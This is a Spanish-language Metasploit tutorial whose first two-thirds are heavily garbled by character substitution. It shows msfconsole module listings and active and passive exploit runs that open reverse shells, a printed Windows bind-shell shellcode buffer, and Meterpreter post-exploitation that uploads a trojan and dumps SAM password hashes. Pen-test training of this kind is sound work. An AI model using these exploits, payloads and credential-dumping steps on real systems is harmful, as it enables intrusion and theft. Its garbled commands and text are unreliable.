Matc"n4 Modules
================
Lame 7sclosure 7ate ?an#
7escrpton
1111 111111111111111 1111
11111111111
e!plot*lnu!*msc*netsupportImana4erIa4ent -',,1',1'0 a5era4e
Let=upport Mana4er D4ent ?emote $uffer 95erflow
The show #ommand
,l comando show
Entrar en -sho2- en el indicador msfconsole mostrar todos los mdulos dentro de &etasploit.
msf > s"ow
3ncoders
========
Lame 7escrpton
1111 11111111111
cmd*4enercIs" ;enerc ="ell 8arable =ubsttuton Command 3ncoder
4enerc*none 2"e :none: 3ncoder
mpsbe*lon4!or K9? 3ncoder
...snp...
"ay una serie de -sho2- comandos que puede utilizar, pero los que se utilizan con ms frecuencia son
-sho2 auxiliares C,C exploits sho2-, -payloads sho2-, -encoders sho2-, y -sho2 nops.
7a e%ecucin de -sho2 auxiliares-, se mostrar un listado de todos los mdulos auxiliares disponibles en
&etasploit. $omo se mencion mdulos anteriores, auxiliares incluyen escneres, la neacin de los
mdulos de servicio, fuzzers, y mucho ms.
msf > s"ow au!lary
Du!lary
=========
Lame 7escrpton
1111 11111111111
admn*bac#upe!ec*dump 8ertas $ac#up 3!ec Endows
?emote 6le Dccess
admn*bac#upe!ec*re4stry 8ertas $ac#up 3!ec =er5er
?e4stry Dccess
admn*csco*osI"ttpIaut"Ibypass Csco B9= >22P <naut"or+ed
Ddmnstrat5e Dccess
...snp...
9aturalmente, -sho2 exploits Cser el comando que est ms interesado en el funcionamiento, ya que en
su nDcleo, &etasploit se trata de la explotacin. E%ecutar -sho2 exploits Cpara obtener una lista de todas
las explotaciones incluidas en el frame2or3.
msf > s"ow e!plots
3!plots
========
Lame 7escrpton
1111 11111111111
a!*rpcIttdbser5erdIrealpat" 2ool2al# rpc.ttdbser5erd
IttInternalIrealpat" $uffer 95erflow
bsd*softcart*mercantecIsoftcart Mercantec =oftCart C;B 95erflow
...snp...
E%ecucin de Csho2 payloads C mostrar todas las diferentes /ayloads para todas las plataformas
disponibles en &etasploit.
msf > s"ow payloads
Payloads
========
Lame 7escrpton
1111 11111111111
a!*ppc*s"ellIbndItcp DBK Command ="ellR $nd 2CP Bnlne
a!*ppc*s"ellIfndIport DBK Command ="ellR 6nd Port Bnlne
a!*ppc*s"ellIre5erseItcp DBK Command ="ellR ?e5erse 2CP Bnlne
...snp...
$omo puede ver, hay una ran cantidad de payloads disponibles. 'fortunadamente, cuando se est en
el contexto de un exploit en particular, e%ecutando -sho2 payloads C slo se mostrarn los payloads que
sean compatibles con el exploit en particular. /or e%emplo, si se trata de una vulnerabilidad de
(indo2s, no se muestra payloads 7inux.
msf e!plot(ms'0I'(%Inetap) > s"ow payloads
Compatble payloads
===================
Lame 7escrpton
1111 11111111111
4enerc*debu4Itrap ;enerc !0( 7ebu4 2rap
4enerc*debu4Itrap*bndIp5(Itcp ;enerc !0( 7ebu4 2rapR $nd
2CP =ta4er (BP5()
4enerc*debu4Itrap*bndInon!Itcp ;enerc !0( 7ebu4 2rapR $nd
2CP =ta4er (Lo LK or En%)
...snp...
Si ha seleccionado un mdulo especfico, puede emitir el comando Csho2 optionsC para ver que
opciones estn disponibles y > o necesarios para que un mdulo especfico.
msf e!plot(ms'0I'(%Inetap) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
?>9=2 yes 2"e tar4et address
?P9?2 ../ yes =et t"e =M$ ser5ce port
=M$PBP3 $?9E=3? yes 2"e ppe name to use ($?9E=3?R =?8=8C)
3!plot tar4etM
Bd Lame
11 1111
' Dutomatc 2ar4etn4
Si no est seuro de si un sistema operativo es vulnerable a un exploit en particular, e%ecute el comando
- sho2 tarets desde dentro del contexto de un mdulo de explotacin para ver qu! ob%etivos son
compatibles.
msf e!plot(ms'0I'(%Inetap) > s"ow tar4ets
3!plot tar4etsM
Bd Lame
11 1111
' Dutomatc 2ar4etn4
, Endows -''' <n5ersal
- Endows KP =P'*=P, <n5ersal
& Endows KP =P- 3n4ls" (LK)
. Endows KP =P& 3n4ls" (LK)
/ Endows -''& =P' <n5ersal
...snp...
Si desea que el seuir perfeccionando un exploit, puede ver las opciones ms avanzadas mediante la
e%ecucin de -advanced sho2-.
msf e!plot(ms'0I'(%Inetap) > s"ow ad5anced
Module ad5anced optonsM
Lame M C>9=2
Current =ettn4M
7escrpton M 2"e local clent address
Lame M CP9?2
Current =ettn4M
7escrpton M 2"e local clent port
...snp...
6unnin Csho2 encodersC se mostrar una lista de los codificadores disponibles en &S#.
msf > s"ow encoders
3ncoders
========
Lame 7escrpton
1111 11111111111
cmd*4enercIs" ;enerc ="ell 8arable =ubsttuton Command 3ncoder
4enerc*none 2"e :none: 3ncoder
mpsbe*lon4!or K9? 3ncoder
mpsle*lon4!or K9? 3ncoder
p"p*base(. P>P $ase(. encoder
ppc*lon4!or PPC Con4K9? 3ncoder
ppc*lon4!orIta4 PPC Con4K9? 3ncoder
sparc*lon4!orIta4 =PD?C 7E9?7 K9? 3ncoder
!(.*!or K9? 3ncoder
!0(*alp"aIm!ed Dlp"a- Dlp"anumerc M!edcase 3ncoder
!0(*alp"aIupper Dlp"a- Dlp"anumerc <ppercase 3ncoder
!0(*a5odIutf0Itolower D5od <260*tolower
!0(*call.IdwordI!or CallU. 7word K9? 3ncoder
!0(*countdown =n4le1byte K9? Countdown 3ncoder
!0(*fnsten5Imo5 8arable1len4t" 6nsten5*mo5 7word K9? 3ncoder
!0(*jmpIcallIaddt5e bump*Call K9? Dddt5e 6eedbac# 3ncoder
!0(*nonalp"a Lon1Dlp"a 3ncoder
!0(*nonupper Lon1<pper 3ncoder
!0(*s"#ataI4aIna Polymorp"c K9? Dddt5e 6eedbac# 3ncoder
!0(*uncodeIm!ed Dlp"a- Dlp"anumerc <ncode M!edcase 3ncoder
!0(*uncodeIupper Dlp"a- Dlp"anumerc <ncode <ppercase 3ncoder
/or Dltimo, la emisin de la orden -nops C mostrar los eneradores 9,/ que &etasploit tiene para
ofrecer.
msf > s"ow nops
L9P ;enerators
==============
Lame 7escrpton
1111 11111111111
armle*smple =mple
p"p*4enerc P>P Lop ;enerator
ppc*smple =mple
sparc*random =PD?C L9P 4enerator
tty*4enerc 22J Lop ;enerator
!(.*smple =mple
!0(*opty- 9pty-
!0(*sn4leIbyte =n4le $yte
The set! #ommand
,l #omando S,TP
$on el fin de ahorrar un montn de escribir durante un pentest, puede confiurar las variables lobales
dentro de msfconsole. 5sted puede hacer esto con el CSET. -comando. 5na vez que estos se han
establecido, se pueden utilizar como en muchas exploit y los mdulos de auxiliar a su usto. Tambi!n
puede uardarlos para su uso la prxima vez que msfconsole principio. Sin embaro, el error es olvidar
que ha uardado las variables lobales, por lo que siempre revise las opciones antes de CcorrerC o
CexplotarC. /or el contrario, puede utilizar el CunsetC comando que ha decidido eliminar una variable
lobal. En los e%emplos que siuen, las variables se introducen en mayDsculas Kes decir= 7",STM, pero
&etasploit entre mayDsculas y minDsculas, as que no es necesario hacerlo.
msf > set4 C>9=2 ,)-.,(0.,.,',
C>9=2 => ,)-.,(0.,.,',
msf > set4 ?>9=2= ,)-.,(0.,.'*-.
?>9=2= => ,)-.,(0.,.'*-.
msf > set4 ?>9=2 ,)-.,(0.,.,&(
?>9=2 => ,)-.,(0.,.,&(
)espu!s de confiurar las distintas variables, puede e%ecutar el comando CsaveC para salvar a su
entorno actual y la confiuracin. $on los a%ustes, que se carar automticamente en el inicio lo que le
evita tener que instalar todo de nuevo.
msf > sa5e
=a5ed conf4uraton toM *root*.msf&*conf4
msf >
The use #ommand
,l #omando de uso
$uando se haya decidido por un mdulo en particular para hacer uso de el comando CuseC para
seleccionarlo. El comandoCuseC cambia el contexto de un mdulo especfico, exponiendo el tipo
especfico de comandos. ,bserve en el resultado a continuacin que las variables lobales que se haya
establecido anteriormente ya estn confiurados.
msf > use dos*wndows*smb*ms')I'',Iwrte
msf au!lary(ms')I'',Iwrte) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
?>9=2 yes 2"e tar4et address
?P9?2 ../ yes =et t"e =M$ ser5ce port
msf au!lary(ms')I'',Iwrte) >
Metasploit Exploits
Metasploit xploits
Todas las explotaciones en el #rame2or3 de &etasploit se dividen en dos cateoras= activos y pasivos.
,B2/O&T A#T&+O=
Exploits activos que explotar una mquina especfica, e%ecute hasta su finalizacin, y lueo salir.
R 7a fuerza bruta, mdulos de salida cuando se abre un shell de la vctima.
R &dulo de e%ecucin se detiene si se detecta un error.
R 5sted puede obliar a un mdulo de activos a un seundo plano por el que pasa C?%C para
explotar el comando=
msf e!plot(ms'0I'(%Inetap) > e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
msf e!plot(ms'0I'(%Inetap) >
,?emplo ,.ploit activo
El siuiente e%emplo hace uso de un con%unto de credenciales previamente adquiridos para explotar y
obtener una shell inversa en el sistema destino.
msf > use e!plot*wndows*smb*pse!ec
msf e!plot(pse!ec) > set ?>9=2 ,)-.,(0.,.,'.
?>9=2 => ,)-.,(0.,.,'.
msf e!plot(pse!ec) > set PDJC9D7 wndows*s"ell*re5erseItcp
PDJC9D7 => wndows*s"ell*re5erseItcp
msf e!plot(pse!ec) > set C>9=2 ,)-.,(0.,.,',
C>9=2 => ,)-.,(0.,.,',
msf e!plot(pse!ec) > set CP9?2 ....
CP9?2 => ....
msf e!plot(pse!ec) > set =M$<=3? 5ctm
=M$<=3? => 5ctm
msf e!plot(pse!ec) > set =M$PD== s&cr&t
=M$PD== => s&cr&t
msf e!plot(pse!ec) > e!plot
PZQ Connectn4 to t"e ser5er...
PZQ =tarted re5erse "andler
PZQ Dut"entcatn4 as user A5ctmA...
PZQ <ploadn4 payload...
PZQ Created \"#m3e3M.e!e...
PZQ $ndn4 to &(%abb0,1)0..1&/f,1ad&-1
)0f'&0'',''&M-.'GncacnInpM,)-.,(0.,.,'.P\s5cctlQ ...
PZQ $ound to &(%abb0,1)0..1&/f,1ad&-1
)0f'&0'',''&M-.'GncacnInpM,)-.,(0.,.,'.P\s5cctlQ ...
PZQ 9btann4 a ser5ce mana4er "andle...
PZQ Creatn4 a new ser5ce (cEyC83p 1 :MKD8YsC@f?tYw=cCde!n7:)...
PZQ Closn4 ser5ce "andle...
PZQ 9penn4 ser5ce...
PZQ =tartn4 t"e ser5ce...
PZQ ?emo5n4 t"e ser5ce...
PZQ Closn4 ser5ce "andle...
PZQ 7eletn4 \"#m3e3M.e!e...
PZQ =endn4 sta4e (-.' bytes)
PZQ Command s"ell sesson , opened (,)-.,(0.,.,',M.... 1> ,)-.,(0.,.,'.M,'%&)
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\EBL79E=\system&->
,.ploits pasivos
Exploits pasivos esperar a que los hosts de entrada y los huespedes explotan cuando se conectan.
R /asivo explota casi siempre se centran en los clientes como los naveadores 2eb, clientes de #T/, etc
R Tambi!n se puede utilizar en combinacin con las vulnerabilidades de correo, a la espera de las
conexiones.
R /asivo shell informe explota a medida que ocurren se pueden enumerar pasando -?l- para el comando
de sesiones. /asando C?iC va a interactuar con una shell.
msf e!plot(anIloadma4eIc"un#s+e) > sessons 1l
Dct5e sessons
===============
Bd 7escrpton 2unnel
11 11111111111 111111
, Meterpreter ,)-.,(0.,.,',M/-(.% 1> ,)-.,(0.,.,'.M....
msf e!plot(anIloadma4eIc"un#s+e) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter >
2assive ,.ploit ,?emplo
7a siuiente salida muestra la confiuracin para explotar la vulnerabilidad del cursor animado. Este
exploit no se activa hasta una vctima se desplaza a nuestro sitio 2eb malicioso.
msf > use e!plot*wndows*browser*anIloadma4eIc"un#s+e
msf e!plot(anIloadma4eIc"un#s+e) > set <?BPD2> *
<?BPD2> => *
msf e!plot(anIloadma4eIc"un#s+e) > set PDJC9D7 wndows*s"ell*re5erseItcp
PDJC9D7 => wndows*s"ell*re5erseItcp
msf e!plot(anIloadma4eIc"un#s+e) > set C>9=2 ,)-.,(0.,.,',
C>9=2 => ,)-.,(0.,.,',
msf e!plot(anIloadma4eIc"un#s+e) > set CP9?2 ....
CP9?2 => ....
msf e!plot(anIloadma4eIc"un#s+e) > e!plot
PZQ 3!plot runnn4 as bac#4round job.
PZQ =tarted re5erse "andler
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*
PZQ Cocal BPM "ttpM**,)-.,(0.,.,',M0'0'*
PZQ =er5er started.
msf e!plot(anIloadma4eIc"un#s+e) >
PZQ Dttemptn4 to e!plot anIloadma4eIc"un#s+e
PZQ =endn4 >2MC pa4e to ,)-.,(0.,.,'.M,'%%...
PZQ Dttemptn4 to e!plot anIloadma4eIc"un#s+e
PZQ =endn4 Endows DLB CoadDnBcon() C"un# =+e =tac# 95erflow (>22P) to
,)-.,(0.,.,'.M,'%%...
PZQ =endn4 sta4e (-.' bytes)
PZQ Command s"ell sesson - opened (,)-.,(0.,.,',M.... 1> ,)-.,(0.,.,'.M,'%0)
msf e!plot(anIloadma4eIc"un#s+e) > sessons 1 -
PZQ =tartn4 nteracton wt" -...
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\7ocuments and =ettn4s\5ctm\7es#top>U
1sin! ,.ploits
1SA(DO ,B2/O&TS
Seleccin de una explotacin en &etasploit, a0ade el -exploit- y -chec3- comandos para msfconsole.
msf > use e!plot*wndows*smb*ms'0I'(%Inetap
msf e!plot(ms'0I'(%Inetap) > "elp
...snp...
3!plot Commands
================
Command 7escrpton
1111111 11111111111
c"ec# C"ec# to see f a tar4et s 5ulnerable
e!plot Caunc" an e!plot attempt
rc"ec# ?eloads t"e module and c"ec#s f t"e tar4et s 5ulnerable
re!plot ?eloads t"e module and launc"es an e!plot attempt
msf e!plot(ms'0I'(%Inetap) >
(l uso de un exploit tambi7n a6ade m?s opciones para el Nsho"N de comandos;
msf e!plot(ms'&I'-(Idcom) > s"ow tar4ets
3!plot tar4etsM
Bd Lame
11 1111
' Endows L2 =P&1(a*-'''*KP*-''& <n5ersal
msf e!plot(ms'&I'-(Idcom) > s"ow payloads
Compatble payloads
===================
Lame 7escrpton
1111 11111111111
4enerc*debu4Itrap ;enerc !0( 7ebu4 2rap
...snp...
msf e!plot(ms'&I'-(Idcom) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
?>9=2 ,)-.,(0.,.,-' yes 2"e tar4et address
?P9?2 ,&/ yes 2"e tar4et port
3!plot tar4etM
Bd Lame
11 1111
' Endows L2 =P&1(a*-'''*KP*-''& <n5ersal
msf e!plot(ms'&I'-(Idcom) > s"ow ad5anced
Module ad5anced optonsM
Lame M C>9=2
Current =ettn4M
7escrpton M 2"e local clent address
Lame M CP9?2
Current =ettn4M
7escrpton M 2"e local clent port
...snp...
msf e!plot(ms'&I'-(Idcom) > s"ow e5ason
Module e5ason optonsM
Lame M 7C3?PCMMfa#eIbndImult
Current =ettn4M true
7escrpton M <se mult1conte!t bnd calls
...snp..
Metasploit 2ayloads
2ayloads de Metasploit
"ay tres tipos diferentes de tipos de payloads en &etasploit= Sin!les6 sta!ers6 and Sta!es. Estos tipos
permiten una ran versatilidad y puede ser Dtil a trav!s de numerosos tipos de escenarios. Sea o no una
capacidad de cara se pone en escena, est representado por C>C en el nombre de payloads. /or e%emplo,
C2indo2s > shell@bind@tcpC es una cara Dnica, con ninuna de las etapas, mientras que C2indo2s >
shell > bind@tcpC se compone de un servidor de ensayo Kbind@tcpM y una etapa KshellM.
Sinles
Sinles son sho2 payloads que son autnomos e independientes por completo. 5n payload sinle solo
puede ser alo tan simple como arear un usuario al sistema de destino o e%ecutar calc.exe.
staers
Staers confiuracin de una conexin de red entre el atacante y la vctima y estn dise0ados para ser
peque0os y confiables. Es difcil de hacer siempre estos dos, as que el resultado es mDltiple
teatralizadores similar. &etasploit se utilizar la ms apropiada cuando se puede y se vuelve a uno
menos preferido cuando sea necesario.
(indo2s vs 9,?9N 9N teatralizadores
R #iabilidad problema para 9N $/5s y )E/
R staers 9N son ms randes K:irtual'llocM
)efault R es ahora compatible con 9N V (inF
,TA2AS=
Etapas son los componentes de payload que se descaran los mdulos teatralizadores. 7as etapas de
cara diferentes proporcionan caractersticas avanzadas sin lmites de tama0o, como &eterpreter, :9$
inyeccin, y Shell ip2n Cel i/hone.
Etapas de payload de forma automtica el uso Cteatralizadores medioC
R 5n solo recv KM falla con randes caras
R El veterano recibe el veterano medio
R El veterano centro se realiza una descara completa
R Tambi!n me%or para 6(N
2ayload Types
Tipos de payload
&etasploit contiene diferentes tipos de payloads, cada uno cumple una funcin insustituible dentro de
la estructura. Echemos un breve vistazo a los distintos tipos de /ayloads disponibles y obtener una idea
de cundo cada tipo debe ser utilizado.
&nline $no por etapas%
5n simple payload que contiene el exploit y el cdio shell completo para la tarea seleccionada.
/ayloads en lnea son el dise0o ms estable que sus contrapartes, ya que contienen todo lo que todo en
uno. Sin embaro, alunos exploits costumbre compatible con el tama0o resultante de estas caras.
Sta!ed
R Staer caras de traba%o en con%unto con payloads con el fin de realizar una tarea especfica. 5n
servidor de ensayo establece un canal de comunicacin entre el atacante y la vctima y se lee en una
cara de la etapa de e%ecucin en el host remoto.
Meterpreter
R &eterpreter, la forma corta de la meta?int!rprete es un avanzado, de mDltiples facetas de payload
que opera a trav!s de la inyeccin de )77. El &eterpreter reside por completo en la memoria de la
mquina remota y no de%a rastros en el disco duro, por lo que es muy difcil de detectar con las t!cnicas
convencionales de forenses. Secuencias de comandos y pluins pueden ser carados y descarados
dinmicamente seDn sea necesario y el desarrollo &eterpreter es muy fuerte y en constante evolucin.
2assiveB
R /assiveN es una payload que puede ayudar a eludir las restrictivas fire2alls de salida. Esto se
lora mediante el uso de un control 'ctiveN para crear una instancia oculta de 4nternet Explorer.
5sando el nuevo control 'ctiveN, se comunica con el atacante a trav!s de solicitudes y respuestas
"TT/.
(o(B
R El 9N Kno e%ecutarM bit es una caracterstica interada en alunas $/5 para evitar que el cdio
se e%ecute en ciertas reas de la memoria. En (indo2s, 9N se implementa como )ata Execution
/revention K)E/M. los payloads de &etasploit 9o9N estn dise0ados para eludir )E/.
Ord
/ayloads R ordinales son payload de (indo2s veterano base que tienen distintas venta%as y
desventa%as. 7as venta%as que funciona en todos los sabores y de idioma de (indo2s que datan de
(indo2s Ux, sin la definicin explcita de la direccin del remitente. Tambi!n son extremadamente
peque0as. Sin embaro, dos desventa%as muy especficas que no les de la opcin por defecto. 7a
primera es que se basa en el hecho de que 2sJ@EJ.dll se cara en el proceso de ser explotados antes de
la explotacin. 7a seunda es que es un poco menos estable que el teatralizadores otros.
&2vK
R El payload Dtil 4/vP &etasploit, como su nombre indica, estn dise0ados para funcionar en redes
4/vP.
&nyeccin de D// refle.ivo
R 4nyeccin )77 reflexivo es una t!cnica mediante la cual se inyecta una payload de etapa en un
proceso de host comprometido e%ecuta en la memoria, sin tocar nunca la unidad host duro. El :9$ y
caras &eterpreter ambos hacen uso de la inyeccin de )77 reflexivo. /uede leer ms sobre esto de
menos a Esteban, el creador del m!todo de inyeccin )77 reflexivo.
Metasploit Peneratin! 2ayloads
Peneracin de 2ayloads en Metasploit
)urante el desarrollo de exploit, lo ms seuro necesidad de enerar cdio shell para utilizar en su
explotacin. En &etasploit, payloads pueden ser enerados desde dentro de la msfconsole. $uando
CuseC un payload determinado, &etasploit a0ade el comando -enerate-.
msf > use payload/windows/shell/bind_tcp
msf payload(bind_tcp) > help
...snip...
Payload Commands
================
Command Description
------- -----------
generate Generates a payload
msf payload(bind_tcp) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-E Force encoding.
-b The list of characters to avoid: '\x00\xff'
-e The name of the encoder module to use.
-f The output file name (otherwise stdout)
-h Help banner.
-i the number of encoding iterations.
-k Keep the template executable functional
-o A comma separated list of options in VAR=VAL format.
-p The Platform for output.
-s NOP sled length.
-t The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-
small,elf,macho,vba,vbs,loop-vbs,asp,war
-x The executable template to use
/ara enerar cdio shell sin ninuna opcin, simplemente e%ecutar el comando '!enerate-.
msf payload(bind_tcp) > generate
# windows/shell/bind_tcp - 298 bytes (stage 1)
# http://www.metasploit.com
# EXITFUNC=thread, LPORT=4444, RHOST=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb" +
"\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2" +
"\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" +
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75" +
"\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9" +
"\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56" +
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" +
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85" +
"\xf6\x75\xec\xc3"
...snip...
Aout the Metasploit Meterpreter
Acerca de Meterpreter Metasploit
&eterpreter es un payload avanzado, dinmica extensible que utiliza en memoria staers inyeccin
)77 y se extiende por la red en tiempo de e%ecucin. Se comunica a trav!s del soc3et servidor de
ensayo y proporciona un completo cliente de 6uby '/4. $uenta la historia de comandos, la
implementacin del tabulador, los canales, y mucho ms. &etepreter fue escrito oriinalmente por
S3ape para &etasploit J.x, las extensiones ms comunes se fusionaron para E.x y se encuentra
actualmente en una revisin de &etasploit E.E. 7a parte de servidor est implementado en $ normal y
ahora est compilado con &S:$, lo que es alo porttil. El cliente se puede escribir en cualquier
idioma, pero &etasploit tiene un '/4 con todas las caractersticas de 6uby cliente.
T#mo funciona Meterpreter
< (l objetivo ejecuta el servidor de ensayo inicial; (ste suele ser uno de atar@ invertir@ 'indtag@
passivex@ etc
< (l servidor de ensayo carga la )LL con el pre'ijo re'lexivo; (l taln de re'lexin se encarga de
el payload F inyeccin del )LL;
< (l n9cleo iniciali.a Metepreter@ establece un vnculo 4L%F3;O sobre la toma y enva un K(4;
Metasploit recibe esta K(4 y con'igura el cliente;
< Por 9ltimo@ los payloads Meterpreter extensiones; %iempre se carga y se carga %4)AP0 priv si
el mdulo proporciona derechos administrativos; 4odas estas extensiones se cargan m?s de 4L%F3;O
utili.ando un protocolo de 4L2;
Meterpreter O?etivos de dise9o
;Furtivos;
< Meterpreter reside enteramente en la memoria y escribe nada en el disco;
< 1o se crean nuevos procesos como Meterpreter se inyecta en el proceso comprometido y puede
migrar a otros procesos ue se ejecutan con 'acilidad;
< Por de'ecto@ Meterpreter utili.a comunicaciones ci'radas;
< 4odos estos proporcionan pruebas limitadas de 'orenses y el impacto en la m?uina vctima;
;2oderoso;
< Meterpreter utili.a un sistema de comunicacin canali.ado;
< (l protocolo 4L2 tiene algunas limitaciones;
;,.tensile;
< Las caractersticas pueden ser aumentados en tiempo de ejecucin y se carga en la red;
"aracter#sticas < %e pueden a6adir nuevas a Meterpreter sin tener ue reconstruir;
Adicin de 'unciones en tiempo de ejecucin
/as nuevas caracter3sticas se a9aden a Meterpreter por las e.tensiones de payload4
< Los archivos )LL del cliente a trav7s del soc+et;
< (l servidor ue ejecuta en la vctima carga la )LL en memoria y lo iniciali.a;
< La nueva extensin se registra con el servidor;
< (l cliente en la m?uina de los atacantes carga el AP0 de extensin local y ahora puede llamar
a las 'unciones de las extensiones;
Todo este proceso es transparente y tiene aproximadamente O seundo para completar.
Metasploit Meterpreter <asics
)esde el &eterpreter proporciona un entorno completamente nuevo, vamos a cubrir alunos de los
comandos bsicos &eterpreter para empezar y le ayudar a familiarizarse con esta herramienta ms
poderosa. ' lo laro de este curso, casi todos los comandos disponibles &eterpreter est cubierto. /ara
aquellos que no estn cubiertos, la experimentacin es la clave para un aprendiza%e exitoso.
ayuda$",/2%
7a CayudaC de comandos, como era de esperar, se muestra el menD de ayuda &eterpreter.
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
channel Displays information about active channels
...snip...
ack!round
El comando -de fondo- enviar la sesin &eterpreter actual a un seundo plano y volver al smbolo del
sistema &S#. /ara volver a la sesin de &eterpreter, simplemente interactuar con !l de nuevo.
meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
ps
El comando -ps- muestra una lista de procesos en e%ecucin en el ob%etivo.
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
288 snmp.exe C:\WINDOWS\System32\snmp.exe
...snip...
mi!rate
$on el mdulo de post -mirar-, puede mirar a otro proceso sobre la vctima.
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >
ls
'l iual que en 7inux, el comando -ls- lista de los archivos en el directorio remoto actual.
meterpreter > ls
Listing: C:\Documents and Settings\victim
=========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 .
40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 ..
100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-
used.xbel
40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data
...snip...
download
El comando -do2nload- descara un archivo desde la mquina remota. ,bserve el uso de las barras de
doble momento de la ruta de (indo2s.
meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >
upload
'l iual que con la CdescaraC de comandos, es necesario utilizar dos barras con el comando -upload-.
meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading : evil_trojan.exe -> c:\windows\system32
[*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >
ipconfi!
El comando -ipconfi- muestra las interfaces de red y las direcciones de la mquina remota.
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address : 192.168.1.104
Netmask : 255.255.0.0
meterpreter >
!etuid
6unnin Cetuid -mostrar al usuario que el servidor se est e%ecutando como &eterpreter en el host.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
e.ecute
El comando e.ecute e%ecuta un comando en el ob%etivo.
meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Shell
,l comando shell se le presentar un shell estndar del sistema de destino.
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
&dletime
E%ecucin de CidletimeC se mostrar el nDmero de seundos que el usuario en la mquina remota ha
estado inactivo.
meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
hashdump
El mdulo -hashdump- de post volcar el contenido de la base de datos S'&.
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3
:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261
e:::
